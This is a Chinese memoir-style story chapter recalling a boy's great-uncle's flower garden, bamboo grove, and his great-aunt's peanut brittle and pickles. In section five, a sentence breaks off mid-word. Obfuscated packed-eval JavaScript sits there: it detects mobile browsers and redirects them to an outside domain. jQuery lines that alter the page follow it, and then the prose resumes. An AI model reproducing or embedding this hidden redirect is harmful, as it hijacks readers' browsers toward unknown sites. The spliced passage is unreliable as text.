48.二姥爷的花园


    一


    姥爷和二姥爷虽然是一母同胞的亲兄弟，性格却像是从两个模子里刻出来的。姥爷烟瘾大，总抽那种红色纸盒的延安烟，不带过滤嘴，劲儿冲得很。他那夹烟的食指和中指，早被熏得焦黄，像是永远也洗不净似的。那杆磨得发亮的黄铜烟袋锅子，也几乎长在他手上，走到哪儿，身旁都缭绕着一缕呛人的青烟。


    姥爷整天在地里忙活，春天播种，夏天锄草，秋天收割，冬天还要忙着给果树剪枝。二姥爷却总爱搬把藤椅坐在院子里晒太阳，手里捧着那把他视若珍宝的紫砂壶，眯着眼睛看云卷云舒。村里人都说，这兄弟俩一个务实，一个务虚，倒是相得益彰。


    两家的院子也截然不同。姥爷门前蹲着两个青石墩子，经年累月被人坐得油光水滑，夏天坐上去凉丝丝的特别舒服。二姥爷门前却种着一排翠竹，在北方干燥的风中沙沙作响，像是在低声吟唱着南方的歌谣。


    姥爷膝下只有狗娃他妈一个闺女，家里总是安安静静的；二姥爷家却热闹非凡——三个舅舅一个小姨，再加上各自的配偶和孩子，逢年过节时院子里人头攒动，说话都得提高嗓门。


    但最让狗娃魂牵梦萦的，还是二姥爷那个远近闻名的花园。村里人都说，方圆十里，就数老李家的花园最排场。


    二


    二姥爷的院子比村里其他人家的都要大，花园就坐落在西南角，占地约莫有半亩多。四周用红砖砌了矮矮的花墙，刚好到狗娃胸口那么高。花墙有些年头了，砖缝里长满了青苔，偶尔还能看见几只蜗牛慢悠悠地爬过。


    春天一到，那花园就成了全村最热闹的地方——不是人的热闹，是花的热闹。红的像火，白的像雪，紫的像霞，各种颜色的花朵像是约好了似的，一夜之间全冒了出来，挤挤挨挨地争着向太阳献媚。


    最显眼的要数那一丛丛的月季，花朵有碗口那么大，层层叠叠的花瓣像是贵妇人的裙摆。二姥爷每天都要给它们松土、施肥，像伺候祖宗一样精心。靠近东墙根种着一排芍药，粉的、白的开得热烈奔放，花瓣薄得能透光，风一吹就轻轻颤动，像是害羞的少女。


    蜜蜂是最殷勤的客人，从早到晚在花间穿梭，胖乎乎的身子沾满了金黄色的花粉，飞起来都显得有些吃力。蝴蝶则矜持得多，它们优雅地扇动着翅膀，时而停在一朵花上，时而又翩然飞起，像是在进行一场精心编排的舞蹈。


    狗娃那时年纪小，叫不出这些花的名字，但这并不妨碍他每天围着花园打转，把鼻子凑近每一朵花，贪婪地嗅着那混合了泥土芬芳的香气。有时候看得入迷，连午饭都忘了吃，直到母亲站在院门口扯着嗓子喊他，才恋恋不舍地离开。


    花墙北边摆着一排陶土花盆，里面种着些更娇贵的花木。有叶片肥厚的君子兰，有开着紫色小花的兰花，还有几盆狗娃至今都叫不上名字的奇花异草。二姥爷每天清晨都会拎着那把铜嘴喷壶，小心翼翼地给它们浇水。水珠落在叶片上，在朝阳下折射出七彩的光芒，像撒了一把碎钻石。


    “小兔崽子，别碰那盆兰花！”二姥爷的呵斥声突然从背后传来，吓得狗娃赶紧缩回已经伸出去的手。转头看见他站在屋檐下，手里还拿着那把他形影不离的紫砂壶。二姥爷生得高大，浓眉下一双眼睛炯炯有神，村里的小孩都怕他。但狗娃知道，在那严厉的外表下，藏着的是一颗比谁都柔软的心。


    三


    二姥爷门前那片竹林在北方可算是个稀罕物。村里人都说，也就二姥爷有这样的闲情逸致，在门前种这些“不当吃不当喝”的玩意儿。南方的竹子到了北方，终究是水土不服，长得不如南方那般挺拔修长，最高的也不过两米多，倒像是放大了的灌木。但即便如此，那片竹林依然是二姥爷的骄傲。


    记得八岁那年夏天，狗娃迷上了村里木匠做的竹蜻蜓。那是一种简单的玩具，用竹片削成螺旋桨状，中间插根细棍，两手一搓就能飞上天。看着其他孩子手里的竹蜻蜓在空中划出优美的弧线，狗娃心里痒得像有蚂蚁在爬。一个大胆的念头在他脑海中成形——二姥爷门前的竹林里，不正有现成的材料吗？


    那天午后，趁大人们都在午睡，狗娃偷偷溜到竹林边。七月的阳光透过竹叶在地上投下斑驳的光影，空气中弥漫着竹叶特有的清香。他蹲在竹丛中，仔细打量着每一根竹子，最后选中了一根拇指粗细的。他掏出从家里带来的小刀，心跳如鼓。


    刀锋刚碰到竹皮，一阵风吹来，竹叶沙沙作响，像是在发出警告。狗娃突然想起去年冬天，村里有个孩子折了二姥爷一根梅枝，被他追着骂了半条街的情景。握着刀的手开始发抖，额头上的汗珠滚落下来，在竹竿上留下一道蜿蜒的水痕。


    “这可是他的心爱之物啊……”狗娃小声嘀咕着，眼前浮现出二姥爷每天清晨给竹林浇水的身影。他会蹲在每一丛竹子前，仔细检查有没有害虫，枯黄的叶子都要一片片摘掉。有时候还会对着竹子自言自语，像是在跟老朋友聊天。


    最终，狗娃收起小刀，垂头丧气地离开了竹林。那天晚上，狗娃梦见自己变成了一根竹子，在二姥爷的照料下茁壮成长，枝叶伸向蓝天。


    四


    春节是二姥爷家最热闹的时候。三个舅舅都带着家眷回来，院子里摆了三张大圆桌。二姥姥从腊月二十三就开始忙活，蒸年糕、炸麻花、炖猪肉，厨房里整天飘着诱人的香气。


    那年除夕，二姥爷神秘地把狗娃和表弟叫到厢房，从床底下拖出一个大纸箱。“这是给你们准备的，别让你妈看见。”他眨眨眼，压低声音说。箱子里满满当当全是鞭炮，有红色的挂鞭，有细长的小鞭，还有几个拳头粗的“二踢脚”。


    狗娃和表弟乐疯了，当即拆开一挂鞭，跑到平房顶上放。表弟胆子大，用香头点燃引线后往空中一抛，鞭炮在半空中炸响，回声在山谷间来回激荡，像是有一群看不见的孩子在和他们一起欢笑。


    “再来一个！”表弟兴奋地跳着，棉鞋在瓦片上发出咚咚的响声。狗娃学着他的样子点燃一枚，却因为紧张扔得太早，鞭炮落在对面的山坡上，炸起一小团尘土。他们笑作一团，完全没注意到二姥爷不知何时也上了房顶，正倚着烟囱看他们胡闹。


    “小心点，别炸着手。”他只说了这么一句，便转身下楼去了。但狗娃知道，他一定是站在窗边，听着他们的笑声和鞭炮声，嘴角挂着难得的微笑。


    放完鞭炮，他们回到屋里。二姥爷正坐在堂屋的圆桌旁，面前摆着烫好的白酒。他招手让狗娃过去，递给他一小杯。“尝尝，暖暖身子。”他说。狗娃抿了一小口，辛辣的味道呛得他直咳嗽，二姥爷哈哈大笑，脸上的皱纹舒展开来，像是春风拂过的水面。


    五


    如果说二姥爷的花园是他的骄傲，那么二姥姥的厨房就是全村孩子的乐园。二姥姥生得矮胖，走起路来像只摇摇摆摆的企鹅，但她的手却巧得不可思议。


    狗娃最爱她做的花生糖。她总是选颗粒饱满的花生，在铁锅里慢慢炒熟，待香气四溢时盛出来，趁热搓去红皮。熬糖浆是最考验功夫的环节，火候大了会苦，小了又粘牙。二姥姥却能准确把握时机，待糖稀变成漂亮的金黄色时立即倒入花生。裹了糖浆的花生倒在抹了香油的案板上，趁热用擀面杖压平。待稍稍冷却，便用刀切成小块。那糖甜而不腻，花生香脆可口，咬下去“咔嚓”一声，满口生香。


    秋天的时候，二姥姥会腌萝卜条。她把自家种的白萝卜洗净，切成手指粗细的长条，摊在苇席上晒到半干。然后拌上自家磨的辣椒粉、花椒粉和粗盐，装进陶罐里密封。半个月后开封，那酸辣


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16402638|183542||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    爽脆的滋味能让人多吃两碗饭。


    新鲜的韭花她也不浪费。清晨带着露水采摘的韭花最是鲜嫩，洗净晾干后放在石臼里捣碎，拌上盐和一点点白酒，装在小瓷坛里发酵。吃面条时舀一勺，那独特的辛香能让最简单的食物也变得有滋有味。


    但最让狗娃怀念的，还是寒冬腊月里二姥姥做的油茶。她把面粉放在铁锅里用小火慢慢炒至微黄，加入捣碎的核桃仁、芝麻和花生碎继续翻炒，直到香气四溢。喝的时候舀几勺到粗瓷碗里，冲入滚烫的开水，撒上一把葱花。狗娃双手捧着碗，感受着温度透过碗壁传到掌心，小口啜饮着那浓香四溢的油茶，浑身的寒气都被驱散了。


    “慢点喝，别烫着。”二姥姥用她粗糙的手摸摸狗娃的头，眼睛里盛满了慈爱。狗娃抬头看她，发现她围裙上沾着面粉，鼻尖上还挂着细小的汗珠，在炉火的映照下闪闪发亮。


    六


    花园旁边有一棵苹果树，与周围的花草相比显得格格不入。春天来时，满树粉白的花朵在姹紫嫣红的花园旁显得格外素雅。花谢后，枝头结出青涩的小果子，在阳光下一天天长大。到了八月，苹果已经有拳头大小，但颜色依然是青的。狗娃每次去都要盯着那些苹果看半天，心想这果子怕是永远也熟不了了。一天下午，二姥姥看狗娃盯着苹果树发呆，便伸手摘下一个，在围裙上擦了擦递给他。


    “尝尝，熟了。”她说。


    狗娃半信半疑地接过苹果，小心翼翼地咬了一口。酸涩的汁水立刻充满口腔，让他不由自主地皱起眉头。但奇怪的是，那酸味过后竟有一丝回甘，让人忍不住想再咬一口。


    “这是‘国光’，本来就是青的。”二姥姥笑着说，眼角的皱纹舒展开来，“你二姥爷年轻时从县城带回来的树苗，说是新品种。”


    狗娃渐渐喜欢上了这种独特的味道。每次去二姥爷家，总要站在树下张望。二姥姥就会拿着长竹竿，给他打几个下来。苹果砸在松软的泥土上，发出闷闷的响声。狗娃捡起来在衣服上蹭蹭就啃，酸得眯起眼睛，却又停不下来。


    临走时，二姥姥用旧报纸包了五六个苹果塞给狗娃。“带回去给你妈尝尝。”她说。狗娃抱着那包苹果走在回家的土路上，夕阳把他的影子拉得很长很长。路边的野菊花开了，金灿灿的一片，几只蚂蚱从草丛中蹦出来，又迅速消失在另一片草丛里。


    七


    多年后的一个春天，狗娃站在城市高楼的窗前，看着楼下绿化带里几株病恹恹的月季，突然无比想念二姥爷的花园。电话里，母亲告诉他二姥爷去年冬天走了，花园没人打理，已经荒芜了大半。


    “那棵苹果树还在吗？”狗娃问。


    “在是在，但结的果一年比一年少了。”母亲的声音透过电话线传来，显得有些遥远。


    窗外开始下雨，雨滴打在玻璃上，模糊了城市的霓虹。狗娃仿佛又闻到了雨后花园里泥土的芬芳，听到了竹叶在风中沙沙作响，尝到了青苹果那先酸后甜的滋味。二姥姥的花生糖，二姥爷的紫砂壶，表弟在平房顶上的笑声，都随着雨声一起涌来，清晰得如同昨日。


    狗娃放下电话，翻开抽屉最深处的一个铁盒。里面静静地躺着一片已经干枯的竹叶，那是多年前狗娃从二姥爷门前的竹林里偷偷带走的。叶脉依然清晰可见，只是颜色已经褪成了淡黄。狗娃轻轻抚摸着它，仿佛又回到了那个夏天，蹲在竹丛中犹豫要不要砍下那根竹子的时刻。


    雨还在下，窗外的城市灯火阑珊。狗娃忽然想起二姥爷常说的一句话：“花开一季，人活一世，都要活出自己的样子。”他的花园，他的竹林，他精心培育的那些花草，不正是这句话最好的诠释吗？狗娃合上铁盒，却关不住那些如潮水般涌来的记忆。它们像二姥爷花园里的花朵一样，在狗娃的心里永远绽放。